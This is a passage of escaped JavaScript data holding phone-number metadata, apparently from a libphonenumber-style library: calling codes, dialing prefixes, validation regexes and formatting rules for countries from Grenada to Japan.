$3\",[\"[1389]\"],\"0$1\"]],\"0\",0,0,0,0,0,[[\"(?:1(?:1(?:3(?:[0-58]\\\\d\\\\d|73[0235])|4(?:[0-5]\\\\d\\\\d|69[7-9]|70[0-79])|(?:(?:5[0-26-9]|[78][0-49])\\\\d|6(?:[0-4]\\\\d|50))\\\\d)|(?:2(?:(?:0[024-9]|2[3-9]|3[3-79]|4[1-689]|[58][02-9]|6[0-47-9]|7[013-9]|9\\\\d)\\\\d|1(?:[0-7]\\\\d|8[0-2]))|(?:3(?:0\\\\d|1[0-8]|[25][02-9]|3[02-579]|[468][0-46-9]|7[1-35-79]|9[2-578])|4(?:0[03-9]|[137]\\\\d|[28][02-57-9]|4[02-69]|5[0-8]|[69][0-79])|5(?:0[1-35-9]|[16]\\\\d|2[024-9]|3[015689]|4[02-9]|5[03-9]|7[0-35-9]|8[0-468]|9[0-57-9])|6(?:0[034689]|1\\\\d|2[0-35689]|[38][013-9]|4[1-467]|5[0-69]|6[13-9]|7[0-8]|9[0-24578])|7(?:0[0246-9]|2\\\\d|3[0236-8]|4[03-9]|5[0-46-9]|6[013-9]|7[0-35-9]|8[024-9]|9[02-9])|8(?:0[35-9]|2[1-57-9]|3[02-578]|4[0-578]|5[124-9]|6[2-69]|7\\\\d|8[02-9]|9[02569])|9(?:0[02-589]|[18]\\\\d|2[02-689]|3[1-57-9]|4[2-9]|5[0-579]|6[2-47-9]|7[0-24578]|9[2-57]))\\\\d)\\\\d)|2(?:0[013478]|3[0189]|4[017]|8[0-46-9]|9[0-2])\\\\d{3})\\\\d{4}|1(?:2(?:0(?:46[1-4]|87[2-9])|545[1-79]|76(?:2\\\\d|3[1-8]|6[1-6])|9(?:7(?:2[0-4]|3[2-5])|8(?:2[2-8]|7[0-47-9]|8[3-5])))|3(?:6(?:38[2-5]|47[23])|8(?:47[04-9]|64[0157-9]))|4(?:044[1-7]|20(?:2[23]|8\\\\d)|6(?:0(?:30|5[2-57]|6[1-8]|7[2-8])|140)|8(?:052|87[1-3]))|5(?:2(?:4(?:3[2-79]|6\\\\d)|76\\\\d)|6(?:26[06-9]|686))|6(?:06(?:4\\\\d|7[4-79])|295[5-7]|35[34]\\\\d|47(?:24|61)|59(?:5[08]|6[67]|74)|9(?:55[0-4]|77[23]))|7(?:26(?:6[13-9]|7[0-7])|(?:442|688)\\\\d|50(?:2[0-3]|[3-68]2|76))|8(?:27[56]\\\\d|37(?:5[2-5]|8[239])|843[2-58])|9(?:0(?:0(?:6[1-8]|85)|52\\\\d)|3583|4(?:66[1-8]|9(?:2[01]|81))|63(?:23|3[1-4])|9561))\\\\d{3}\",[9,10]],[\"7(?:457[0-57-9]|700[01]|911[028])\\\\d{5}|7(?:[1-3]\\\\d\\\\d|4(?:[0-46-9]\\\\d|5[0-689])|5(?:0[0-8]|[13-9]\\\\d|2[0-35-9])|7(?:0[1-9]|[1-7]\\\\d|8[02-9]|9[0-689])|8(?:[014-9]\\\\d|[23][0-8])|9(?:[024-9]\\\\d|1[02-9]|3[0-689]))\\\\d{6}\",[10]],[\"80[08]\\\\d{7}|800\\\\d{6}|8001111\"],[\"(?:8(?:4[2-5]|7[0-3])|9(?:[01]\\\\d|8[2-49]))\\\\d{7}|845464\\\\d\",[7,10]],[\"70\\\\d{8}\",[10]],0,[\"(?:3[0347]|55)\\\\d{8}\",[10]],[\"76(?:464|652)\\\\d{5}|76(?:0[0-28]|2[356]|34|4[01347]|5[49]|6[0-369]|77|8[14]|9[139])\\\\d{6}\",[10]],[\"56\\\\d{8}\",[10]]],0,\" x\"],GD:[\"1\",\"011\",\"(?:473|[58]\\\\d\\\\d|900)\\\\d{7}\",[10],0,\"1\",0,\"([2-9]\\\\d{6})$|1\",\"473$1\",0,\"473\"],GE:[\"995\",\"00\",\"(?:[3-57]\\\\d\\\\d|800)\\\\d{6}\",[9],[[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"70\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"32\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[57]\"]],[\"(\\\\d{3})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[348]\"],\"0$1\"]],\"0\"],GF:[\"594\",\"00\",\"[56]94\\\\d{6}|(?:80|9\\\\d)\\\\d{7}\",[9],[[\"(\\\\d{3})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[56]|9[47]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[89]\"],\"0$1\"]],\"0\"],GG:[\"44\",\"00\",\"(?:1481|[357-9]\\\\d{3})\\\\d{6}|8\\\\d{6}(?:\\\\d{2})?\",[7,9,10],0,\"0\",0,\"([25-9]\\\\d{5})$|0\",\"1481$1\",0,0,[[\"1481[25-9]\\\\d{5}\",[10]],[\"7(?:(?:781|839)\\\\d|911[17])\\\\d{5}\",[10]],[\"80[08]\\\\d{7}|800\\\\d{6}|8001111\"],[\"(?:8(?:4[2-5]|7[0-3])|9(?:[01]\\\\d|8[0-3]))\\\\d{7}|845464\\\\d\",[7,10]],[\"70\\\\d{8}\",[10]],0,[\"(?:3[0347]|55)\\\\d{8}\",[10]],[\"76(?:464|652)\\\\d{5}|76(?:0[0-28]|2[356]|34|4[01347]|5[49]|6[0-369]|77|8[14]|9[139])\\\\d{6}\",[10]],[\"56\\\\d{8}\",[10]]]],GH:[\"233\",\"00\",\"(?:[235]\\\\d{3}|800)\\\\d{5}\",[8,9],[[\"(\\\\d{3})(\\\\d{5})\",\"$1 $2\",[\"8\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"[235]\"],\"0$1\"]],\"0\"],GI:[\"350\",\"00\",\"(?:[25]\\\\d|60)\\\\d{6}\",[8],[[\"(\\\\d{3})(\\\\d{5})\",\"$1 $2\",[\"2\"]]]],GL:[\"299\",\"00\",\"(?:19|[2-689]\\\\d|70)\\\\d{4}\",[6],[[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3\",[\"19|[2-9]\"]]]],GM:[\"220\",\"00\",\"[2-9]\\\\d{6}\",[7],[[\"(\\\\d{3})(\\\\d{4})\",\"$1 $2\",[\"[2-9]\"]]]],GN:[\"224\",\"00\",\"722\\\\d{6}|(?:3|6\\\\d)\\\\d{7}\",[8,9],[[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"3\"]],[\"(\\\\d{3})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[67]\"]]]],GP:[\"590\",\"00\",\"590\\\\d{6}|(?:69|80|9\\\\d)\\\\d{7}\",[9],[[\"(\\\\d{3})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[569]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"8\"],\"0$1\"]],\"0\",0,0,0,0,0,[[\"590(?:0[1-68]|[14][0-24-9]|2[0-68]|3[1-9]|5[3-579]|[68][0-689]|7[08]|9\\\\d)\\\\d{4}\"],[\"69(?:0\\\\d\\\\d|1(?:2[2-9]|3[0-5]))\\\\d{4}\"],[\"80[0-5]\\\\d{6}\"],0,0,0,0,0,[\"9(?:(?:395|76[018])\\\\d|475[0-5])\\\\d{4}\"]]],GQ:[\"240\",\"00\",\"222\\\\d{6}|(?:3\\\\d|55|[89]0)\\\\d{7}\",[9],[[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"[235]\"]],[\"(\\\\d{3})(\\\\d{6})\",\"$1 $2\",[\"[89]\"]]]],GR:[\"30\",\"00\",\"5005000\\\\d{3}|8\\\\d{9,11}|(?:[269]\\\\d|70)\\\\d{8}\",[10,11,12],[[\"(\\\\d{2})(\\\\d{4})(\\\\d{4})\",\"$1 $2 $3\",[\"21|7\"]],[\"(\\\\d{4})(\\\\d{6})\",\"$1 $2\",[\"2(?:2|3[2-57-9]|4[2-469]|5[2-59]|6[2-9]|7[2-69]|8[2-49])|5\"]],[\"(\\\\d{3})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"[2689]\"]],[\"(\\\\d{3})(\\\\d{3,4})(\\\\d{5})\",\"$1 $2 $3\",[\"8\"]]]],GT:[\"502\",\"00\",\"80\\\\d{6}|(?:1\\\\d{3}|[2-7])\\\\d{7}\",[8,11],[[\"(\\\\d{4})(\\\\d{4})\",\"$1 $2\",[\"[2-8]\"]],[\"(\\\\d{4})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"1\"]]]],GU:[\"1\",\"011\",\"(?:[58]\\\\d\\\\d|671|900)\\\\d{7}\",[10],0,\"1\",0,\"([2-9]\\\\d{6})$|1\",\"671$1\",0,\"671\"],GW:[\"245\",\"00\",\"[49]\\\\d{8}|4\\\\d{6}\",[7,9],[[\"(\\\\d{3})(\\\\d{4})\",\"$1 $2\",[\"40\"]],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"[49]\"]]]],GY:[\"592\",\"001\",\"(?:[2-8]\\\\d{3}|9008)\\\\d{3}\",[7],[[\"(\\\\d{3})(\\\\d{4})\",\"$1 $2\",[\"[2-9]\"]]]],HK:[\"852\",\"00(?:30|5[09]|[126-9]?)\",\"8[0-46-9]\\\\d{6,7}|9\\\\d{4,7}|(?:[2-7]|9\\\\d{3})\\\\d{7}\",[5,6,7,8,9,11],[[\"(\\\\d{3})(\\\\d{2,5})\",\"$1 $2\",[\"900\",\"9003\"]],[\"(\\\\d{4})(\\\\d{4})\",\"$1 $2\",[\"[2-7]|8[1-4]|9(?:0[1-9]|[1-8])\"]],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"8\"]],[\"(\\\\d{3})(\\\\d{2})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3 $4\",[\"9\"]]],0,0,0,0,0,0,0,\"00\"],HN:[\"504\",\"00\",\"8\\\\d{10}|[237-9]\\\\d{7}\",[8,11],[[\"(\\\\d{4})(\\\\d{4})\",\"$1-$2\",[\"[237-9]\"]]]],HR:[\"385\",\"00\",\"(?:[24-69]\\\\d|3[0-79])\\\\d{7}|80\\\\d{5,7}|[1-79]\\\\d{7}|6\\\\d{5,6}\",[6,7,8,9],[[\"(\\\\d{2})(\\\\d{2})(\\\\d{2,3})\",\"$1 $2 $3\",[\"6[01]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{2})(\\\\d{2,3})\",\"$1 $2 $3\",[\"8\"],\"0$1\"],[\"(\\\\d)(\\\\d{4})(\\\\d{3})\",\"$1 $2 $3\",[\"1\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{3,4})\",\"$1 $2 $3\",[\"[67]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{3,4})\",\"$1 $2 $3\",[\"9\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{3,4})\",\"$1 $2 $3\",[\"[2-5]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"8\"],\"0$1\"]],\"0\"],HT:[\"509\",\"00\",\"(?:[2-489]\\\\d|55)\\\\d{6}\",[8],[[\"(\\\\d{2})(\\\\d{2})(\\\\d{4})\",\"$1 $2 $3\",[\"[2-589]\"]]]],HU:[\"36\",\"00\",\"[235-7]\\\\d{8}|[1-9]\\\\d{7}\",[8,9],[[\"(\\\\d)(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"1\"],\"(06 $1)\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"[27][2-9]|3[2-7]|4[24-9]|5[2-79]|6|8[2-57-9]|9[2-69]\"],\"(06 $1)\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{3,4})\",\"$1 $2 $3\",[\"[2-9]\"],\"06 $1\"]],\"06\"],ID:[\"62\",\"00[89]\",\"(?:(?:00[1-9]|8\\\\d)\\\\d{4}|[1-36])\\\\d{6}|00\\\\d{10}|[1-9]\\\\d{8,10}|[2-9]\\\\d{7}\",[7,8,9,10,11,12,13],[[\"(\\\\d)(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"15\"]],[\"(\\\\d{2})(\\\\d{5,9})\",\"$1 $2\",[\"2[124]|[36]1\"],\"(0$1)\"],[\"(\\\\d{3})(\\\\d{5,7})\",\"$1 $2\",[\"800\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{5,8})\",\"$1 $2\",[\"[2-79]\"],\"(0$1)\"],[\"(\\\\d{3})(\\\\d{3,4})(\\\\d{3})\",\"$1-$2-$3\",[\"8[1-35-9]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{6,8})\",\"$1 $2\",[\"1\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"804\"],\"0$1\"],[\"(\\\\d{3})(\\\\d)(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3 $4\",[\"80\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{4})(\\\\d{4,5})\",\"$1-$2-$3\",[\"8\"],\"0$1\"]],\"0\"],IE:[\"353\",\"00\",\"(?:1\\\\d|[2569])\\\\d{6,8}|4\\\\d{6,9}|7\\\\d{8}|8\\\\d{8,9}\",[7,8,9,10],[[\"(\\\\d{2})(\\\\d{5})\",\"$1 $2\",[\"2[24-9]|47|58|6[237-9]|9[35-9]\"],\"(0$1)\"],[\"(\\\\d{3})(\\\\d{5})\",\"$1 $2\",[\"[45]0\"],\"(0$1)\"],[\"(\\\\d)(\\\\d{3,4})(\\\\d{4})\",\"$1 $2 $3\",[\"1\"],\"(0$1)\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{3,4})\",\"$1 $2 $3\",[\"[2569]|4[1-69]|7[14]\"],\"(0$1)\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"70\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"81\"],\"(0$1)\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"[78]\"],\"0$1\"],[\"(\\\\d{4})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"1\"]],[\"(\\\\d{2})(\\\\d{4})(\\\\d{4})\",\"$1 $2 $3\",[\"4\"],\"(0$1)\"],[\"(\\\\d{2})(\\\\d)(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3 $4\",[\"8\"],\"0$1\"]],\"0\"],IL:[\"972\",\"0(?:0|1[2-9])\",\"1\\\\d{6}(?:\\\\d{3,5})?|[57]\\\\d{8}|[1-489]\\\\d{7}\",[7,8,9,10,11,12],[[\"(\\\\d{4})(\\\\d{3})\",\"$1-$2\",[\"125\"]],[\"(\\\\d{4})(\\\\d{2})(\\\\d{2})\",\"$1-$2-$3\",[\"121\"]],[\"(\\\\d)(\\\\d{3})(\\\\d{4})\",\"$1-$2-$3\",[\"[2-489]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{4})\",\"$1-$2-$3\",[\"[57]\"],\"0$1\"],[\"(\\\\d{4})(\\\\d{3})(\\\\d{3})\",\"$1-$2-$3\",[\"12\"]],[\"(\\\\d{4})(\\\\d{6})\",\"$1-$2\",[\"159\"]],[\"(\\\\d)(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1-$2-$3-$4\",[\"1[7-9]\"]],[\"(\\\\d{3})(\\\\d{1,2})(\\\\d{3})(\\\\d{4})\",\"$1-$2 $3-$4\",[\"15\"]]],\"0\"],IM:[\"44\",\"00\",\"1624\\\\d{6}|(?:[3578]\\\\d|90)\\\\d{8}\",[10],0,\"0\",0,\"([25-8]\\\\d{5})$|0\",\"1624$1\",0,\"74576|(?:16|7[56])24\"],IN:[\"91\",\"00\",\"(?:000800|[2-9]\\\\d\\\\d)\\\\d{7}|1\\\\d{7,12}\",[8,9,10,11,12,13],[[\"(\\\\d{8})\",\"$1\",[\"5(?:0|2[23]|3[03]|[67]1|88)\",\"5(?:0|2(?:21|3)|3(?:0|3[23])|616|717|888)\",\"5(?:0|2(?:21|3)|3(?:0|3[23])|616|717|8888)\"],0,1],[\"(\\\\d{4})(\\\\d{4,5})\",\"$1 $2\",[\"180\",\"1800\"],0,1],[\"(\\\\d{3})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"140\"],0,1],[\"(\\\\d{2})(\\\\d{4})(\\\\d{4})\",\"$1 $2 $3\",[\"11|2[02]|33|4[04]|79[1-7]|80[2-46]\",\"11|2[02]|33|4[04]|79(?:[1-6]|7[19])|80(?:[2-4]|6[0-589])\",\"11|2[02]|33|4[04]|79(?:[124-6]|3(?:[02-9]|1[0-24-9])|7(?:1|9[1-6]))|80(?:[2-4]|6[0-589])\"],\"0$1\",1],[\"(\\\\d{3})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"1(?:2[0-249]|3[0-25]|4[145]|[68]|7[1257])|2(?:1[257]|3[013]|4[01]|5[0137]|6[0158]|78|8[1568])|3(?:26|4[1-3]|5[34]|6[01489]|7[02-46]|8[159])|4(?:1[36]|2[1-47]|5[12]|6[0-26-9]|7[0-24-9]|8[013-57]|9[014-7])|5(?:1[025]|22|[36][25]|4[28]|5[12]|[78]1)|6(?:12|[2-4]1|5[17]|6[13]|80)|7(?:12|3[134]|4[47]|61|88)|8(?:16|2[014]|3[126]|6[136]|7[078]|8[34]|91)|(?:43|59|75)[15]|(?:1[59]|29|67|72)[14]\",\"1(?:2[0-24]|3[0-25]|4[145]|[59][14]|6[1-9]|7[1257]|8[1-57-9])|2(?:1[257]|3[013]|4[01]|5[0137]|6[058]|78|8[1568]|9[14])|3(?:26|4[1-3]|5[34]|6[01489]|7[02-46]|8[159])|4(?:1[36]|2[1-47]|3[15]|5[12]|6[0-26-9]|7[0-24-9]|8[013-57]|9[014-7])|5(?:1[025]|22|[36][25]|4[28]|[578]1|9[15])|674|7(?:(?:2[14]|3[34]|5[15])[2-6]|61[346]|88[0-8])|8(?:70[2-6]|84[235-7]|91[3-7])|(?:1(?:29|60|8[06])|261|552|6(?:12|[2-47]1|5[17]|6[13]|80)|7(?:12|31|4[47])|8(?:16|2[014]|3[126]|6[136]|7[78]|83))[2-7]\",\"1(?:2[0-24]|3[0-25]|4[145]|[59][14]|6[1-9]|7[1257]|8[1-57-9])|2(?:1[257]|3[013]|4[01]|5[0137]|6[058]|78|8[1568]|9[14])|3(?:26|4[1-3]|5[34]|6[01489]|7[02-46]|8[159])|4(?:1[36]|2[1-47]|3[15]|5[12]|6[0-26-9]|7[0-24-9]|8[013-57]|9[014-7])|5(?:1[025]|22|[36][25]|4[28]|[578]1|9[15])|6(?:12(?:[2-6]|7[0-8])|74[2-7])|7(?:(?:2[14]|5[15])[2-6]|3171|61[346]|88(?:[2-7]|82))|8(?:70[2-6]|84(?:[2356]|7[19])|91(?:[3-6]|7[19]))|73[134][2-6]|(?:74[47]|8(?:16|2[014]|3[126]|6[136]|7[78]|83))(?:[2-6]|7[19])|(?:1(?:29|60|8[06])|261|552|6(?:[2-4]1|5[17]|6[13]|7(?:1|4[0189])|80)|7(?:12|88[01]))[2-7]\"],\"0$1\",1],[\"(\\\\d{4})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"1(?:[2-479]|5[0235-9])|[2-5]|6(?:1[1358]|2[2457-9]|3[2-5]|4[235-7]|5[2-689]|6[24578]|7[235689]|8[1-6])|7(?:1[013-9]|28|3[129]|4[1-35689]|5[29]|6[02-5]|70)|807\",\"1(?:[2-479]|5[0235-9])|[2-5]|6(?:1[1358]|2(?:[2457]|84|95)|3(?:[2-4]|55)|4[235-7]|5[2-689]|6[24578]|7[235689]|8[1-6])|7(?:1(?:[013-8]|9[6-9])|28[6-8]|3(?:17|2[0-49]|9[2-57])|4(?:1[2-4]|[29][0-7]|3[0-8]|[56]|8[0-24-7])|5(?:2[1-3]|9[0-6])|6(?:0[5689]|2[5-9]|3[02-8]|4|5[0-367])|70[13-7])|807[19]\",\"1(?:[2-479]|5(?:[0236-9]|5[013-9]))|[2-5]|6(?:2(?:84|95)|355|83)|73179|807(?:1|9[1-3])|(?:1552|6(?:1[1358]|2[2457]|3[2-4]|4[235-7]|5[2-689]|6[24578]|7[235689]|8[124-6])\\\\d|7(?:1(?:[013-8]\\\\d|9[6-9])|28[6-8]|3(?:2[0-49]|9[2-57])|4(?:1[2-4]|[29][0-7]|3[0-8]|[56]\\\\d|8[0-24-7])|5(?:2[1-3]|9[0-6])|6(?:0[5689]|2[5-9]|3[02-8]|4\\\\d|5[0-367])|70[13-7]))[2-7]\"],\"0$1\",1],[\"(\\\\d{5})(\\\\d{5})\",\"$1 $2\",[\"[6-9]\"],\"0$1\",1],[\"(\\\\d{4})(\\\\d{2,4})(\\\\d{4})\",\"$1 $2 $3\",[\"1(?:6|8[06])\",\"1(?:6|8[06]0)\"],0,1],[\"(\\\\d{4})(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3 $4\",[\"18\"],0,1]],\"0\"],IO:[\"246\",\"00\",\"3\\\\d{6}\",[7],[[\"(\\\\d{3})(\\\\d{4})\",\"$1 $2\",[\"3\"]]]],IQ:[\"964\",\"00\",\"(?:1|7\\\\d\\\\d)\\\\d{7}|[2-6]\\\\d{7,8}\",[8,9,10],[[\"(\\\\d)(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"1\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{3,4})\",\"$1 $2 $3\",[\"[2-6]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"7\"],\"0$1\"]],\"0\"],IR:[\"98\",\"00\",\"[1-9]\\\\d{9}|(?:[1-8]\\\\d\\\\d|9)\\\\d{3,4}\",[4,5,6,7,10],[[\"(\\\\d{4,5})\",\"$1\",[\"96\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{4,5})\",\"$1 $2\",[\"(?:1[137]|2[13-68]|3[1458]|4[145]|5[1468]|6[16]|7[1467]|8[13467])[12689]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3,4})\",\"$1 $2 $3\",[\"9\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{4})(\\\\d{4})\",\"$1 $2 $3\",[\"[1-8]\"],\"0$1\"]],\"0\"],IS:[\"354\",\"00|1(?:0(?:01|[12]0)|100)\",\"(?:38\\\\d|[4-9])\\\\d{6}\",[7,9],[[\"(\\\\d{3})(\\\\d{4})\",\"$1 $2\",[\"[4-9]\"]],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"3\"]]],0,0,0,0,0,0,0,\"00\"],IT:[\"39\",\"00\",\"0\\\\d{5,10}|1\\\\d{8,10}|3(?:[0-8]\\\\d{7,10}|9\\\\d{7,8})|(?:55|70)\\\\d{8}|8\\\\d{5}(?:\\\\d{2,4})?\",[6,7,8,9,10,11],[[\"(\\\\d{2})(\\\\d{4,6})\",\"$1 $2\",[\"0[26]\"]],[\"(\\\\d{3})(\\\\d{3,6})\",\"$1 $2\",[\"0[13-57-9][0159]|8(?:03|4[17]|9[2-5])\",\"0[13-57-9][0159]|8(?:03|4[17]|9(?:2|3[04]|[45][0-4]))\"]],[\"(\\\\d{4})(\\\\d{2,6})\",\"$1 $2\",[\"0(?:[13-579][2-46-8]|8[236-8])\"]],[\"(\\\\d{4})(\\\\d{4})\",\"$1 $2\",[\"894\"]],[\"(\\\\d{2})(\\\\d{3,4})(\\\\d{4})\",\"$1 $2 $3\",[\"0[26]|5\"]],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3,4})\",\"$1 $2 $3\",[\"1(?:44|[679])|[378]\"]],[\"(\\\\d{3})(\\\\d{3,4})(\\\\d{4})\",\"$1 $2 $3\",[\"0[13-57-9][0159]|14\"]],[\"(\\\\d{2})(\\\\d{4})(\\\\d{5})\",\"$1 $2 $3\",[\"0[26]\"]],[\"(\\\\d{4})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"0\"]],[\"(\\\\d{3})(\\\\d{4})(\\\\d{4,5})\",\"$1 $2 $3\",[\"3\"]]],0,0,0,0,0,0,[[\"0669[0-79]\\\\d{1,6}|0(?:1(?:[0159]\\\\d|[27][1-5]|31|4[1-4]|6[1356]|8[2-57])|2\\\\d\\\\d|3(?:[0159]\\\\d|2[1-4]|3[12]|[48][1-6]|6[2-59]|7[1-7])|4(?:[0159]\\\\d|[23][1-9]|4[245]|6[1-5]|7[1-4]|81)|5(?:[0159]\\\\d|2[1-5]|3[2-6]|4[1-79]|6[4-6]|7[1-578]|8[3-8])|6(?:[0-57-9]\\\\d|6[0-8])|7(?:[0159]\\\\d|2[12]|3[1-7]|4[2-46]|6[13569]|7[13-6]|8[1-59])|8(?:[0159]\\\\d|2[3-578]|3[1-356]|[6-8][1-5])|9(?:[0159]\\\\d|[238][1-5]|4[12]|6[1-8]|7[1-6]))\\\\d{2,7}\"],[\"3[1-9]\\\\d{8}|3[2-9]\\\\d{7}\",[9,10]],[\"80(?:0\\\\d{3}|3)\\\\d{3}\",[6,9]],[\"(?:0878\\\\d{3}|89(?:2\\\\d|3[04]|4(?:[0-4]|[5-9]\\\\d\\\\d)|5[0-4]))\\\\d\\\\d|(?:1(?:44|6[346])|89(?:38|5[5-9]|9))\\\\d{6}\",[6,8,9,10]],[\"1(?:78\\\\d|99)\\\\d{6}\",[9,10]],0,0,0,[\"55\\\\d{8}\",[10]],[\"84(?:[08]\\\\d{3}|[17])\\\\d{3}\",[6,9]]]],JE:[\"44\",\"00\",\"1534\\\\d{6}|(?:[3578]\\\\d|90)\\\\d{8}\",[10],0,\"0\",0,\"([0-24-8]\\\\d{5})$|0\",\"1534$1\",0,0,[[\"1534[0-24-8]\\\\d{5}\"],[\"7(?:(?:(?:50|82)9|937)\\\\d|7(?:00[378]|97[7-9]))\\\\d{5}\"],[\"80(?:07(?:35|81)|8901)\\\\d{4}\"],[\"(?:8(?:4(?:4(?:4(?:05|42|69)|703)|5(?:041|800))|7(?:0002|1206))|90(?:066[59]|1810|71(?:07|55)))\\\\d{4}\"],[\"701511\\\\d{4}\"],0,[\"(?:3(?:0(?:07(?:35|81)|8901)|3\\\\d{4}|4(?:4(?:4(?:05|42|69)|703)|5(?:041|800))|7(?:0002|1206))|55\\\\d{4})\\\\d{4}\"],[\"76(?:464|652)\\\\d{5}|76(?:0[0-28]|2[356]|34|4[01347]|5[49]|6[0-369]|77|8[14]|9[139])\\\\d{6}\"],[\"56\\\\d{8}\"]]],JM:[\"1\",\"011\",\"(?:[58]\\\\d\\\\d|658|900)\\\\d{7}\",[10],0,\"1\",0,0,0,0,\"658|876\"],JO:[\"962\",\"00\",\"(?:(?:[2689]|7\\\\d)\\\\d|32|53)\\\\d{6}\",[8,9],[[\"(\\\\d)(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"[2356]|87\"],\"(0$1)\"],[\"(\\\\d{3})(\\\\d{5,6})\",\"$1 $2\",[\"[89]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{7})\",\"$1 $2\",[\"70\"],\"0$1\"],[\"(\\\\d)(\\\\d{4})(\\\\d{4})\",\"$1 $2 $3\",[\"7\"],\"0$1\"]],\"0\"],JP:[\"81\",\"010\",\"00[1-9]\\\\d{6,14}|[257-9]\\\\d{9}|(?:00|[1-9]\\\\d\\\\d)\\\\d{6}\",[8,9,10,11,12,13,14,15,16,17],[[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1-$2-$3\",[\"(?:12|57|99)0\"],\"0$1\"],[\"(\\\\d{4})(\\\\d)(\\\\d{4})\",\"$1-$2-$3\",[\"1(?:26|3[79]|4[56]|5[4-68]|6[3-5])|499|5(?:76|97)|746|8(?:3[89]|47|51)|9(?:80|9[16])\",\"1(?:267|3(?:7[247]|9[278])|466|5(?:47|58|64)|6(?:3[245]|48|5[4-68]))|499[2468]|5(?:76|97)9|7468|8(?:3(?:8[7-9]|96)|477|51[2-9])|9(?:802|9(?:1[23]|69))|1(?:45|58)[67]\",\"1(?:267|3(?:7[247]|9[278])|466|5(?:47|58|64)|6(?:3[245]|48|5[4-68]))|499[2468]|5(?:769|979[2-69])|7468|8(?:3(?:8[7-9]|96[2457-9])|477|51[2-9])|9(?:802|9(?:1[23]|69))|1(?:45|58)[67]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{4})\",\"$1-$2-$3\",[\"60\"],\"0$1\"],[\"(\\\\d)(\\\\d{4})(\\\\d{4})\",\"$1-$2-$3\",[\"[36]|4(?:2[09]|7[01])\",\"[36]|4(?:2(?:0|9[02-69])|7(?:0[019]|1))\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{4})\",\"$1-$2-$3\",[\"1(?:1|5[45]|77|88|9[69])|2(?:2[1-37]|3[0-269]|4[59]|5|6[24]|7[1-358]|8[1369]|9[0-38])|4(?:[28][1-9]|3[0-57]|[45]|6[248]|7[2-579]|9[29])|5(?:2|3[045